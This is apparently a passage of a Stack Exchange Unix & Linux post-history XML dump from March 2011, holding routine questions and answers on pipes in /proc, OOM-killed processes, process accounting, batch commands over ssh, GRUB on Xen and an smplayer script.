  <row Id="24123" PostHistoryTypeId="2" PostId="10075" RevisionGUID="3855a6d4-b53a-48ce-b894-9776cc78dcea" CreationDate="2011-03-25T05:15:08.417" UserId="1290" Text="Try a different shell. I'd recommend trying [zsh] for instance, and see if it allows more parameters.&#xD;&#xA;&#xD;&#xA;If I understand correctly, part of the filename, is a UNIX timestamp. It might be advisable, to divide the files into folders. If the date/time format is a UNIX epoch number, put chunks of fractions of that number, say 10000's, in a separate folder.&#xD;&#xA;&#xD;&#xA;If an [ISO 8601][1] timestamp is part of the filename, simply divide by year, month or day.&#xD;&#xA;&#xD;&#xA;  [zsh]: http://www.zsh.org/&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/ISO_8601&#xD;&#xA;" />
  <row Id="24124" PostHistoryTypeId="25" PostId="10072" RevisionGUID="2a23f440-cde7-488e-854a-080759104137" CreationDate="2011-03-25T05:31:36.570" Comment="http://twitter.com/#!/StackUnix/status/51154242559426561" />
  <row Id="24125" PostHistoryTypeId="5" PostId="10056" RevisionGUID="6c52daff-4aed-4a6e-8cdd-5dfc29c05440" CreationDate="2011-03-25T06:30:49.793" UserId="138" Comment="typo fix" Text="That's the &lt;a href=&quot;https://secure.wikimedia.org/wikipedia/en/wiki/Inode&quot;&gt;inode&lt;/a&gt; number for the pipe or socket in question.&#xD;&#xA;&#xD;&#xA;A pipe is a unidirectional channel, with a write end and a read end. In your example, it looks like FD 5 and FD 6 are talking to each other, since the inode numbers are the same. (Maybe not, though. See below.)&#xD;&#xA;&#xD;&#xA;More common than seeing a program talking to itself over a pipe is a pair of separate programs talking to each other, typically because you set up a pipe between them with a shell:&#xD;&#xA;&#xD;&#xA;    shell-1$ ls -lR / | less&#xD;&#xA;&#xD;&#xA;Then in another terminal window:&#xD;&#xA;&#xD;&#xA;    shell-2$ ...find the ls and less PIDs with ps; say 4242 and 4243 for this example...&#xD;&#xA;    shell-2$ ls -l /proc/4242/fd | grep pipe&#xD;&#xA;    l-wx------ 1 user user 64 Mar 24 12:18 1 -&gt; pipe:[222536390]&#xD;&#xA;    shell-2$ ls -l /proc/4243/fd | grep pipe&#xD;&#xA;    l-wx------ 1 user user 64 Mar 24 12:18 0 -&gt; pipe:[222536390]&#xD;&#xA;&#xD;&#xA;This says that PID 4242's standard output (FD 1, by convention) is connected to a pipe with inode number 222536390, and that PID 4243's standard input (FD 0) is connected to the same pipe.&#xD;&#xA;&#xD;&#xA;All of which is a long way of saying that `ls`'s output is being sent to `less`'s input.&#xD;&#xA;&#xD;&#xA;Getting back to your example, FD 1 and FD 2 are almost certainly *not* talking to each other. Most likely this is the result of tying stdout (FD 1) and stderr (FD 2) together, so they both go to the same destination. You can do that with a Bourne shell like this:&#xD;&#xA;&#xD;&#xA;    $ some-program 2&gt;&amp;1 | some-other-program&#xD;&#xA;&#xD;&#xA;So, if you poked around in `/proc/$PID_OF_SOME_OTHER_PROGRAM/fd`, you'd find a third FD attached to a pipe with the same inode number as is attached to FDs 1 and 2 for the `some-program` instance. This may also be what's happening with FDs 5 and 6 in your example, but I have no ready theory how these two FDs got tied together. You'd have to know what the program is doing internally to figure that out." />
  <row Id="24126" PostHistoryTypeId="2" PostId="10076" RevisionGUID="c49a0c50-1ed7-4996-8c20-49545dc6864a" CreationDate="2011-03-25T07:11:06.147" UserId="688" Text="While trying to build clutter from [JHBuild][1], I get stuck at the stage where I have to clone clutter:&#xD;&#xA;&#xD;&#xA;    $ jhbuild buildone clutter&#xD;&#xA;    *** Checking out clutter *** [1/1]&#xD;&#xA;    git clone http://git.clutter-project.org/clutter&#xD;&#xA;    Cloning into clutter...&#xD;&#xA;&#xD;&#xA;It just chills there forever.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://live.gnome.org/Jhbuild" />
  <row Id="24127" PostHistoryTypeId="1" PostId="10076" RevisionGUID="c49a0c50-1ed7-4996-8c20-49545dc6864a" CreationDate="2011-03-25T07:11:06.147" UserId="688" Text="I am failing to 'git clone clutter'" />
  <row Id="24128" PostHistoryTypeId="3" PostId="10076" RevisionGUID="c49a0c50-1ed7-4996-8c20-49545dc6864a" CreationDate="2011-03-25T07:11:06.147" UserId="688" Text="égità" />
  <row Id="24129" PostHistoryTypeId="5" PostId="10076" RevisionGUID="bd385c73-3149-4fb1-8a72-a17a77110468" CreationDate="2011-03-25T07:21:26.980" UserId="688" Comment="added 151 characters in body; added 45 characters in body" Text="While trying to build clutter from [JHBuild][1], I get stuck at the stage where I have to clone it:&#xD;&#xA;&#xD;&#xA;    $ jhbuild buildone clutter&#xD;&#xA;    *** Checking out clutter *** [1/1]&#xD;&#xA;    git clone http://git.clutter-project.org/clutter&#xD;&#xA;    Cloning into clutter...&#xD;&#xA;&#xD;&#xA;It just chills there, and it seems nothing is happening at all. When I check the bandwidth usage, there's hardly anything.&#xD;&#xA;&#xD;&#xA;**UPDATE**: Well, I wonder what happened, but it works now. Probably slow network on my (or their) side.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://live.gnome.org/Jhbuild" />
  <row Id="24130" PostHistoryTypeId="2" PostId="10077" RevisionGUID="7d3f6516-7e7e-4a42-b697-efd45934ecad" CreationDate="2011-03-25T07:40:07.753" UserId="3125" Text="Is there some way I can check which of my processes the kernel has killed? Sometimes I log onto my server and find that something that should've run all night just stopped 8 hours in and I'm unsure if it's the applications doing or the kernels." />
  <row Id="24131" PostHistoryTypeId="1" PostId="10077" RevisionGUID="7d3f6516-7e7e-4a42-b697-efd45934ecad" CreationDate="2011-03-25T07:40:07.753" UserId="3125" Text="Where can I see a list of kernel killed processes?" />
  <row Id="24132" PostHistoryTypeId="3" PostId="10077" RevisionGUID="7d3f6516-7e7e-4a42-b697-efd45934ecad" CreationDate="2011-03-25T07:40:07.753" UserId="3125" Text="élinuxàékernelàéprocessàékillà" />
  <row Id="24133" PostHistoryTypeId="5" PostId="10076" RevisionGUID="db642fe6-2624-4e30-9e1e-d8ac32b71f86" CreationDate="2011-03-25T07:59:21.160" UserId="688" Comment="added 148 characters in body; deleted 2 characters in body" Text="While trying to build clutter from [JHBuild][1], I get stuck at the stage where I have to clone it:&#xD;&#xA;&#xD;&#xA;    $ jhbuild buildone clutter&#xD;&#xA;    *** Checking out clutter *** [1/1]&#xD;&#xA;    git clone http://git.clutter-project.org/clutter&#xD;&#xA;    Cloning into clutter...&#xD;&#xA;&#xD;&#xA;It just chills there, and it seems nothing is happening at all. When I check the bandwidth usage, there's hardly anything.&#xD;&#xA;&#xD;&#xA;**update 1**: Well, I wonder what happened, but it works now. Probably slow network on my (or their) side.&#xD;&#xA;&#xD;&#xA;**update 2**: One of JHBuild developers (on IRC):&#xD;&#xA;&#xD;&#xA;&gt; git.clutter-project.org is unreliable; it will soon be moved to git.gnome.org, afaik.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://live.gnome.org/Jhbuild" />
  <row Id="24134" PostHistoryTypeId="6" PostId="10068" RevisionGUID="7ae46377-35a6-435d-96e6-d40d2b45fbad" CreationDate="2011-03-25T08:03:22.267" UserId="885" Comment="edited tags" Text="élinuxàéclusteràédistributedöfilesystemà" />
  <row Id="24135" PostHistoryTypeId="2" PostId="10078" RevisionGUID="f5ab670c-6fef-4f23-8915-7d016c44c0b7" CreationDate="2011-03-25T08:11:44.213" UserId="885" Text="If the kernel killed a process (because the system ran out of memory), there will be a kernel log message. Check in `/var/log/kern.log` (on Debian/Ubuntu, other distributions might send kernel logs to a different file, but usually under `/var/log` under Linux).&#xD;&#xA;&#xD;&#xA;Note that if the OOM-killer (out-of-memory killer) triggered, it means you don't have enough virtual memory. Add more swap (or perhaps more RAM).&#xD;&#xA;&#xD;&#xA;Some process crashes are recorded in kernel logs as well (e.g. segmentation faults).&#xD;&#xA;&#xD;&#xA;If the processes were started from cron, you should have a mail with error messages. If the processes were started from a shell in a terminal, check the errors in that terminal. Run the process in `screen` to see the terminal again in the morning. This might not help if the OOM-killer triggered, because it might have killed the cron or screen process as well; but if you ran into the OOM-killer, that's the problem you need to fix.&#xD;&#xA;" />
  <row Id="24136" PostHistoryTypeId="6" PostId="10077" RevisionGUID="30b812ce-3283-4d1b-b1c8-82789db5d254" CreationDate="2011-03-25T08:12:02.607" UserId="885" Comment="edited tags" Text="élinuxàéprocessàélogsàémonitoringàékillà" />
  <row Id="24137" PostHistoryTypeId="2" PostId="10079" RevisionGUID="9f134b33-7455-4126-bca1-bf8e3b659952" CreationDate="2011-03-25T08:23:23.443" UserId="3169" Text="Process Accounting could help here.&#xD;&#xA;&#xD;&#xA;In brief:&#xD;&#xA;&#xD;&#xA;    apt-get install acct&#xD;&#xA;&#xD;&#xA;Then try commands like:&#xD;&#xA;&#xD;&#xA;    lastcomm&#xD;&#xA;    sa&#xD;&#xA;&#xD;&#xA;or on Ubuntu:&#xD;&#xA;&#xD;&#xA;    lastcomm -f /var/log/account/pacct&#xD;&#xA;    sa /var/log/account/pacct&#xD;&#xA;&#xD;&#xA;See:&#xD;&#xA;&#xD;&#xA;  * http://tldp.org/HOWTO/Process-Accounting/pasetup.html&#xD;&#xA;  * http://tldp.org/HOWTO/Process-Accounting/misccommands.html&#xD;&#xA;" />
  <row Id="24138" PostHistoryTypeId="25" PostId="10077" RevisionGUID="afdcd10c-2a97-4c49-97ac-2fd48f74c8cb" CreationDate="2011-03-25T08:31:37.130" Comment="http://twitter.com/#!/StackUnix/status/51199541982146560" />
  <row Id="24139" PostHistoryTypeId="5" PostId="10079" RevisionGUID="66beb463-cd80-4617-b0f1-8acae4830c4b" CreationDate="2011-03-25T08:34:16.567" UserId="3169" Comment="added 219 characters in body" Text="Process Accounting could help here.&#xD;&#xA;&#xD;&#xA;In brief:&#xD;&#xA;&#xD;&#xA;    apt-get install acct&#xD;&#xA;&#xD;&#xA;Then try commands like:&#xD;&#xA;&#xD;&#xA;    lastcomm&#xD;&#xA;    sa&#xD;&#xA;&#xD;&#xA;or on Ubuntu:&#xD;&#xA;&#xD;&#xA;    lastcomm -f /var/log/account/pacct&#xD;&#xA;    sa /var/log/account/pacct&#xD;&#xA;&#xD;&#xA;See:&#xD;&#xA;&#xD;&#xA;  * http://tldp.org/HOWTO/Process-Accounting/pasetup.html&#xD;&#xA;  * http://tldp.org/HOWTO/Process-Accounting/misccommands.html&#xD;&#xA;&#xD;&#xA;UPDATE&#xD;&#xA;&#xD;&#xA;Strangely, the `pacct` file has information about exit status, but neither `lastcomm` nor `sa` seem to print it.&#xD;&#xA;&#xD;&#xA;So as far as I can see, you'd have to write your own C program to access the information.&#xD;&#xA;" />
  <row Id="24140" PostHistoryTypeId="2" PostId="10080" RevisionGUID="a50df3f1-575c-49c2-b349-c9562e579493" CreationDate="2011-03-25T08:40:51.337" UserId="4945" Text="Is there any open source version of firmware for ebook readers or maybe project like RockBox?&#xD;&#xA;&#xD;&#xA;AFAIK most of e-ink readers runs linux, so maybe exists at least one model of e-reader with an open specification and/or drivers for which you can build your own custom linux ?" />
  <row Id="24141" PostHistoryTypeId="1" PostId="10080" RevisionGUID="a50df3f1-575c-49c2-b349-c9562e579493" CreationDate="2011-03-25T08:40:51.337" UserId="4945" Text="Open Source firmware for e-ink book reader" />
  <row Id="24142" PostHistoryTypeId="3" PostId="10080" RevisionGUID="a50df3f1-575c-49c2-b349-c9562e579493" CreationDate="2011-03-25T08:40:51.337" UserId="4945" Text="élinuxàéfreeösoftwareàéfirmwareà" />
  <row Id="24143" PostHistoryTypeId="2" PostId="10081" RevisionGUID="4958dc5d-16ed-4b4b-9644-83b2294c0a7c" CreationDate="2011-03-25T08:44:07.270" UserId="5589" Text="Me and some of my friends are interested in starting a new Linux distro. How to do that? What do we need to plan?&#xD;&#xA;" />
  <row Id="24144" PostHistoryTypeId="1" PostId="10081" RevisionGUID="4958dc5d-16ed-4b4b-9644-83b2294c0a7c" CreationDate="2011-03-25T08:44:07.270" UserId="5589" Text="How to start a new Linux distro?" />
  <row Id="24145" PostHistoryTypeId="3" PostId="10081" RevisionGUID="4958dc5d-16ed-4b4b-9644-83b2294c0a7c" CreationDate="2011-03-25T08:44:07.270" UserId="5589" Text="élinuxàédistrosà" />
  <row Id="24146" PostHistoryTypeId="2" PostId="10082" RevisionGUID="f486fbda-4072-4956-a26a-c9af9504c7c7" CreationDate="2011-03-25T08:50:51.340" UserId="2832" Text="If you just want some set of default applications, you can customize an existing distro like ubuntu using some simple tools. http://maketecheasier.com/reconstructor-creating-your-own-ubuntu-distribution/2008/07/05" />
  <row Id="24147" PostHistoryTypeId="2" PostId="10083" RevisionGUID="70f8f9d7-0e7c-4622-9627-d56a68ef9113" CreationDate="2011-03-25T08:58:17.577" UserId="6033" Text="Look this, maybe ?&#xD;&#xA;http://www.linuxfromscratch.org/lfs/" />
  <row Id="24148" PostHistoryTypeId="5" PostId="10081" RevisionGUID="2ebd712d-1b7b-49b9-a3d6-dcf2456c895f" CreationDate="2011-03-25T09:10:01.177" UserId="5589" Comment="added 870 characters in body" Text="Me and some of my friends are interested in starting a new Linux distro. How to do that? What do we need to plan?&#xD;&#xA;&#xD;&#xA;###Backstory###&#xD;&#xA;&#xD;&#xA;I represent a community of Linux sysadmins/implementors whose special needs include, among others:&#xD;&#xA;&#xD;&#xA; - A specific 'lean' kernel config&#xD;&#xA; - Package management that fits our 'field needs'&#xD;&#xA; - Binary packages optimized for our 'use cases'&#xD;&#xA; - X-less system&#xD;&#xA;&#xD;&#xA;To the point: We have needs for specially-configured production-quality Linux to be run *exclusively* as **Para-Virtualized Production Servers**. Rather than jumping through all the hoops and loops *every time* we need a VM-ized Server, we would very much like a semi-prepared system, optimized for its environ.&#xD;&#xA;&#xD;&#xA;Since these VMs would be Production Servers, stability is a must, and honestly the available package management systems we're currently aware of just does not provide assurance. **Zypp** and **Conary** are the closest ones to our needs, but again still miss on some points.&#xD;&#xA;" />
  <row Id="24149" PostHistoryTypeId="5" PostId="10079" RevisionGUID="3f5d548c-8383-4572-824e-8070f3fc4935" CreationDate="2011-03-25T09:18:07.817" UserId="3169" Comment="added 622 characters in body" Text="Process Accounting could help here.&#xD;&#xA;&#xD;&#xA;In brief:&#xD;&#xA;&#xD;&#xA;    apt-get install acct&#xD;&#xA;&#xD;&#xA;Then try commands like:&#xD;&#xA;&#xD;&#xA;    lastcomm&#xD;&#xA;    sa&#xD;&#xA;&#xD;&#xA;or on Ubuntu:&#xD;&#xA;&#xD;&#xA;    lastcomm -f /var/log/account/pacct&#xD;&#xA;    sa /var/log/account/pacct&#xD;&#xA;&#xD;&#xA;See:&#xD;&#xA;&#xD;&#xA;  * http://tldp.org/HOWTO/Process-Accounting/pasetup.html&#xD;&#xA;  * http://tldp.org/HOWTO/Process-Accounting/misccommands.html&#xD;&#xA;&#xD;&#xA;UPDATE&#xD;&#xA;&#xD;&#xA;Strangely, the `pacct` file has information about exit status, but neither `lastcomm` nor `sa` seem to print it.&#xD;&#xA;&#xD;&#xA;So as far as I can see, you'd have to write your own C program to access the information.&#xD;&#xA;&#xD;&#xA;UPDATE 2&#xD;&#xA;&#xD;&#xA;Here's a version that prints the exit code.&#xD;&#xA;&#xD;&#xA;The last two fields are &quot;S&quot; for signaled and &quot;E&quot; for exited, followed by the signal number or exit status.&#xD;&#xA;&#xD;&#xA;So in your case, you're probably looking for &quot;S  15&quot; meaning it got a SIGTERM.&#xD;&#xA;&#xD;&#xA;    sleep                X mikel    stdin      0.00 secs Fri Mar 25 20:15 S  15&#xD;&#xA;&#xD;&#xA;Compared to &quot;E   0&quot; which means the process exited without an error.&#xD;&#xA;    &#xD;&#xA;    true                   mikel    stdin      0.00 secs Fri Mar 25 20:16 E   0&#xD;&#xA;&#xD;&#xA;Only minimally tested.&#xD;&#xA;&#xD;&#xA;  * http://mikelward.com/software/lastcomm.exitcode.patch&#xD;&#xA;  * http://mikelward.com/software/lastcomm" />
  <row Id="24150" PostHistoryTypeId="2" PostId="10084" RevisionGUID="abee9ee2-6dcd-4173-b8a6-104cf6c0e049" CreationDate="2011-03-25T10:56:14.230" UserId="4950" Text="or alternatively, what is the `ssh` command's equivalent of `sftp -b &lt;filename&gt; &lt;hostname&gt;`?&#xD;&#xA;&#xD;&#xA;I have have a set of commands which i wish to run across a set of hosts connecting over `ssh`. Over `sftp`, i store the commands in a file `filename` and connect to the host and run the commands using the previously mentioned command.&#xD;&#xA;&#xD;&#xA;Is something like that possible over `ssh`?" />
  <row Id="24151" PostHistoryTypeId="1" PostId="10084" RevisionGUID="abee9ee2-6dcd-4173-b8a6-104cf6c0e049" CreationDate="2011-03-25T10:56:14.230" UserId="4950" Text="How to run commands in batch mode over ssh?" />
  <row Id="24152" PostHistoryTypeId="3" PostId="10084" RevisionGUID="abee9ee2-6dcd-4173-b8a6-104cf6c0e049" CreationDate="2011-03-25T10:56:14.230" UserId="4950" Text="ésshàésolarisà" />
  <row Id="24153" PostHistoryTypeId="2" PostId="10085" RevisionGUID="aa496d70-30fd-4cff-bd07-61d1cb8fd0ef" CreationDate="2011-03-25T11:05:46.233" UserId="5664" Text="&quot;man expect&quot; ? :\&#xD;&#xA;&#xD;&#xA;but it's not the perfect way.." />
  <row Id="24154" PostHistoryTypeId="2" PostId="10086" RevisionGUID="cc8a0f32-dd5e-4dae-a2a3-307d0a2e2000" CreationDate="2011-03-25T11:17:25.757" UserId="5664" Text="If i install OBSD from CDROM: &#xD;&#xA;&#xD;&#xA;http://www.openbsd.org/ftp.html&#xD;&#xA;&#xD;&#xA;with &quot;install47.iso&quot; then is it patched?&#xD;&#xA;&#xD;&#xA;All the &#xD;&#xA;&#xD;&#xA;http://www.openbsd.org/errata47.html&#xD;&#xA;&#xD;&#xA;13 patches are in the iso file? Or i have to run the patches 1 by 1?? &#xD;&#xA;How can i apply these patches? Is there a one-liner command (like under Linux: yum upgrade or apt-get upgrade), or i have to download and apply all 13 one by one?" />
  <row Id="24155" PostHistoryTypeId="1" PostId="10086" RevisionGUID="cc8a0f32-dd5e-4dae-a2a3-307d0a2e2000" CreationDate="2011-03-25T11:17:25.757" UserId="5664" Text="OpenBSD path system" />
  <row Id="24156" PostHistoryTypeId="3" PostId="10086" RevisionGUID="cc8a0f32-dd5e-4dae-a2a3-307d0a2e2000" CreationDate="2011-03-25T11:17:25.757" UserId="5664" Text="éopenbsdà" />
  <row Id="24157" PostHistoryTypeId="2" PostId="10087" RevisionGUID="7086d342-1c0a-432d-a5ce-e3e347d29101" CreationDate="2011-03-25T11:21:53.017" UserId="4194" Text="Correct me if I'm wrong, but you seem to be wanting to run regular shell commands on the remote server where the script is local.&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    trap &quot;rm -f /tmp/sendonssh.$$.*&quot; 0 1 2 3 15&#xD;&#xA;    # commands to run on the remote server&#xD;&#xA;    cat &lt;&lt;'EOF' &gt;&gt; /tmp/sendonssh.$$.sh&#xD;&#xA;    mkdir -p /tmp/foobar.$$&#xD;&#xA;    mv $HOME/xyzzy /tmp/foobar.$$&#xD;&#xA;    chmod 640 $HOME/xyzzy&#xD;&#xA;    EOF&#xD;&#xA;    # call for each argument&#xD;&#xA;    for userhost in &quot;$@&quot;; do&#xD;&#xA;        errorout=`ssh -aTxo BatchMode=yes $userhost /bin/sh -s &lt; /tmp/sendonssh.$$.sh 2&gt;&amp;1`&#xD;&#xA;        rc=$?&#xD;&#xA;        if [ $rc -ne 0 ]; then&#xD;&#xA;            echo &quot;Error: $userhost: $errorout&quot;&#xD;&#xA;            exit $rc&#xD;&#xA;        fi&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;I do this with some 'remote execution' apps in my test environment using Python instead of the shell: `ssh $userhost python &lt; $pythonscriptfilename`." />
  <row Id="24158" PostHistoryTypeId="2" PostId="10088" RevisionGUID="b8ef1e25-44ec-4bab-80f9-f6fbac1eb757" CreationDate="2011-03-25T11:22:22.490" UserId="2671" Text="You didn't really specify what you want from the package manager.&#xD;&#xA;&#xD;&#xA;But OpenSuse provides build service where you can easily customize any package (including the kernel) and even create a whole distribution.&#xD;&#xA;&#xD;&#xA;http://en.opensuse.org/Portal:KIWI&#xD;&#xA;&#xD;&#xA;https://build.opensuse.org" />
  <row Id="24159" PostHistoryTypeId="25" PostId="10084" RevisionGUID="aa94eb7b-8483-4d64-a523-f72a0e5c7844" CreationDate="2011-03-25T11:31:37.227" Comment="http://twitter.com/#!/StackUnix/status/51244840838639617" />
  <row Id="24160" PostHistoryTypeId="2" PostId="10089" RevisionGUID="5e132e82-21e8-4d34-a61d-e5a7ee113cc5" CreationDate="2011-03-25T11:37:31.840" UserId="6038" Text="On my VPS (running Debian 6.0 on Xen with PyGrub) I get the following error when trying to upgrade the system:&#xD;&#xA;&#xD;&#xA;    Searching for GRUB installation directory ... found: /boot/grub&#xD;&#xA;    warning: grub-probe can't find drive for /dev/xvda1.&#xD;&#xA;    grub-probe: error: cannot find a GRUB drive for /dev/xvda1.  Check your device.map.&#xD;&#xA;&#xD;&#xA;I googled and found this solution:&#xD;&#xA;&#xD;&#xA;    echo '(hd0) /dev/xvda' &gt; /boot/grub/device.map&#xD;&#xA;    mknod /dev/xvda b 202 0&#xD;&#xA;&#xD;&#xA;Apparently that only works on older systems and not on my server.&#xD;&#xA;&#xD;&#xA;Any ideas?" />
  <row Id="24161" PostHistoryTypeId="1" PostId="10089" RevisionGUID="5e132e82-21e8-4d34-a61d-e5a7ee113cc5" CreationDate="2011-03-25T11:37:31.840" UserId="6038" Text="Debian 6.0 and Xen PyGrub failure" />
  <row Id="24162" PostHistoryTypeId="3" PostId="10089" RevisionGUID="5e132e82-21e8-4d34-a61d-e5a7ee113cc5" CreationDate="2011-03-25T11:37:31.840" UserId="6038" Text="édebianàégrubàéxenà" />
  <row Id="24163" PostHistoryTypeId="2" PostId="10090" RevisionGUID="8bde1f5e-95fd-4ae6-b6f4-ca3ec4d30938" CreationDate="2011-03-25T11:45:44.733" UserId="2343" Text="The following will drive Smplayer, which uses mplayer internally.. it is,at least, a normal GUI, but your playlist would need to be in your text editor .. and you obviously know about that method already :)  &#xD;&#xA;&#xD;&#xA;Here is the Smplayer script .. I've done it before (a couple of years ago) but I'd forgotten all about it as I don't often need such a thing, but it is good to keep &quot;bookmarks&quot;..  I'm glad you've resurrected the idea.. Here is the script.&#xD;&#xA;&#xD;&#xA;    #&#xD;&#xA;    # Summary: &#xD;&#xA;    #   Play one video (only) in 'smplayer', passing -ss and -endpos values to 'mplayer'&#xD;&#xA;    #   It uses 'locate' to get the path of the video (by just its basename)&#xD;&#xA;    #&#xD;&#xA;    # eg:&#xD;&#xA;    #     $1                              $2   $3       $4 &#xD;&#xA;    #     basename                       -ss  -endpos   root &#xD;&#xA;    #     &quot;Titus - The Gorilla King.mp4&quot;  240  30      &quot;$HOME&quot;  # A fascinating documentary of the long reign of a silver-back gorialla&#xD;&#xA;    #&#xD;&#xA;&#xD;&#xA;    [[ &quot;$2&quot; == &quot;&quot; ]] &amp;&amp; set &quot;$1&quot; &quot;$2&quot; &quot;$3&quot;   &quot;$4&quot;&#xD;&#xA;    [[ &quot;$3&quot; == &quot;&quot; ]] &amp;&amp; set &quot;$1&quot;  0    36000 &quot;$4&quot;  # 36000 is arbitary (24 hours) &#xD;&#xA;    [[ &quot;$4&quot; == &quot;&quot; ]] &amp;&amp; root=&quot;$HOME&quot; || root=&quot;$4&quot;&#xD;&#xA;&#xD;&#xA;    file=( &quot;$(locate -er &quot;^$root/\(.*/\)*\+$1$&quot;)&quot; )&#xD;&#xA;&#xD;&#xA;    # 1) Tweak 'smplayer.ini' to run 'mplayer' with the specified -ss and -endpos  times&#xD;&#xA;    # 2) Run 'smplayer' to play one video only. The time settings will hold afer exit,  &#xD;&#xA;    #                         so the script waits (backgrounded) for smplayer to exit&#xD;&#xA;    # 3) When 'smplayer' exits, set values to extreme limits:  -ss 0 -endpos 3600 &#xD;&#xA;    #                           or(?): TODO remove the settings enitrely, &#xD;&#xA;    #                                       but that requires a different regex&#xD;&#xA;    a=0 z=36000     &#xD;&#xA;    # &#xD;&#xA;    # -ss &lt;time&gt; (also see -sb)&#xD;&#xA;    # -ss 56       # Seeks to 56 seconds.&#xD;&#xA;    # -ss 01:10:00 #Seeks to 1 hour 10 min.&#xD;&#xA;    #&#xD;&#xA;    # -endpos &lt;[[hh:]mm:]ss[.ms]|size[b|kb|mb]&gt; (also see -ss and -sb)&#xD;&#xA;    #         Stop at given time or byte position.&#xD;&#xA;    #         NOTE: Byte position is enabled only for MEncoder and will not be accurate, as it can only stop at a frame boundary.  &#xD;&#xA;    #         When used in conjunction  with -ss option, -endpos time will shift forward by seconds specified with -ss.&#xD;&#xA;    #        -endpos 56        # Stop at 56 seconds.&#xD;&#xA;    #        -endpos 01:10:00  # Stop at 1 hour 10 minutes.&#xD;&#xA;    # -ss 10 -endpos 56        # Stop at 1 minute 6 seconds.&#xD;&#xA;    #        -endpos 100mb     # Encode only 100 MB.&#xD;&#xA;    #&#xD;&#xA;    #                                                        -ss       0                -endpos       36000                                     &#xD;&#xA;    #              \1                              \2      \3        \4        \5     \6            \7            \8                 &#xD;&#xA;     sed -i -e &quot;s/^\(mplayer_additional_options.*\)\( \|=\)\(-ss \+\)\([^ ]\+\)\( .*\)\(-endpos \+\)\([0-9:mb]\+\)\(.*\)/\1\2\3${2}\5\6${3}\8/&quot;  $HOME/.config/smplayer/smplayer.ini&#xD;&#xA;    (smplayer &quot;$file&quot; &#xD;&#xA;     sed -i -e &quot;s/^\(mplayer_additional_options.*\)\( \|=\)\(-ss \+\)\([^ ]\+\)\( .*\)\(-endpos \+\)\([0-9:mb]\+\)\(.*\)/\1\2\3${a}\5\6${z}\8/&quot;  $HOME/.config/smplayer/smplayer.ini&#xD;&#xA;    )&#xD;&#xA;    exit&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24164" PostHistoryTypeId="5" PostId="10090" RevisionGUID="dd9cef4a-436b-436d-b080-ee742d8837b3" CreationDate="2011-03-25T11:50:55.913" UserId="2343" Comment="added 53 characters in body; edited body" Text="The following will drive Smplayer, which uses mplayer internally.. it is,at least, a normal GUI, but your playlist would need to be in your text editor .. and you obviously know about that method already :)  &#xD;&#xA;&#xD;&#xA;I tried this a couple of years ago, but I'd forgotten all about it as I don't often need such a thing, but it is good to keep &quot;bookmarks&quot;..  I'm glad you've resurrected the idea.. Here is the script... which really only does the same as you have been doing, but to Smplayer (an mplayer GUi) &#xD;&#xA;&#xD;&#xA;    #&#xD;&#xA;    # Summary: &#xD;&#xA;    #   Play one video (only) in 'smplayer', passing -ss and -endpos values to 'mplayer'&#xD;&#xA;    #   It uses 'locate' to get the path of the video (by just its basename)&#xD;&#xA;    #&#xD;&#xA;    # eg:&#xD;&#xA;    #     $1                              $2   $3       $4 &#xD;&#xA;    #     basename                       -ss  -endpos   root &#xD;&#xA;    #     &quot;Titus - The Gorilla King.mp4&quot;  240  30      &quot;$HOME&quot;  # A fascinating documentary of the long reign of a silver-back gorialla&#xD;&#xA;    #&#xD;&#xA;&#xD;&#xA;    [[ &quot;$2&quot; == &quot;&quot; ]] &amp;&amp; set &quot;$1&quot;  0   &quot;$3&quot;   &quot;$4&quot;&#xD;&#xA;    [[ &quot;$3&quot; == &quot;&quot; ]] &amp;&amp; set &quot;$1&quot; &quot;$2&quot;  36000 &quot;$4&quot;  # 36000 is arbitary (24 hours) &#xD;&#xA;    [[ &quot;$4&quot; == &quot;&quot; ]] &amp;&amp; root=&quot;$HOME&quot; || root=&quot;$4&quot;&#xD;&#xA;&#xD;&#xA;    file=( &quot;$(locate -er &quot;^$root/\(.*/\)*\+$1$&quot;)&quot; )&#xD;&#xA;&#xD;&#xA;    # 1) Tweak 'smplayer.ini' to run 'mplayer' with the specified -ss and -endpos  times&#xD;&#xA;    # 2) Run 'smplayer' to play one video only. The time settings will hold afer exit,  &#xD;&#xA;    #                         so the script waits (backgrounded) for smplayer to exit&#xD;&#xA;    # 3) When 'smplayer' exits, set values to extreme limits:  -ss 0 -endpos 3600 &#xD;&#xA;    #                           or(?): TODO remove the settings enitrely, &#xD;&#xA;    #                                       but that requires a different regex&#xD;&#xA;    a=0 z=36000     &#xD;&#xA;    # &#xD;&#xA;    # -ss &lt;time&gt; (also see -sb)&#xD;&#xA;    # -ss 56       # Seeks to 56 seconds.&#xD;&#xA;    # -ss 01:10:00 #Seeks to 1 hour 10 min.&#xD;&#xA;    #&#xD;&#xA;    # -endpos &lt;[[hh:]mm:]ss[.ms]|size[b|kb|mb]&gt; (also see -ss and -sb)&#xD;&#xA;    #         Stop at given time or byte position.&#xD;&#xA;    #         NOTE: Byte position is enabled only for MEncoder and will not be accurate, as it can only stop at a frame boundary.  &#xD;&#xA;    #         When used in conjunction  with -ss option, -endpos time will shift forward by seconds specified with -ss.&#xD;&#xA;    #        -endpos 56        # Stop at 56 seconds.&#xD;&#xA;    #        -endpos 01:10:00  # Stop at 1 hour 10 minutes.&#xD;&#xA;    # -ss 10 -endpos 56        # Stop at 1 minute 6 seconds.&#xD;&#xA;    #        -endpos 100mb     # Encode only 100 MB.&#xD;&#xA;    #&#xD;&#xA;    #                                                        -ss       0                -endpos       36000                                     &#xD;&#xA;    #              \1                              \2      \3        \4        \5     \6            \7            \8                 &#xD;&#xA;     sed -i -e &quot;s/^\(mplayer_additional_options.*\)\( \|=\)\(-ss \+\)\([^ ]\+\)\( .*\)\(-endpos \+\)\([0-9:mb]\+\)\(.*\)/\1\2\3${2}\5\6${3}\8/&quot;  $HOME/.config/smplayer/smplayer.ini&#xD;&#xA;    (smplayer &quot;$file&quot; &#xD;&#xA;     sed -i -e &quot;s/^\(mplayer_additional_options.*\)\( \|=\)\(-ss \+\)\([^ ]\+\)\( .*\)\(-endpos 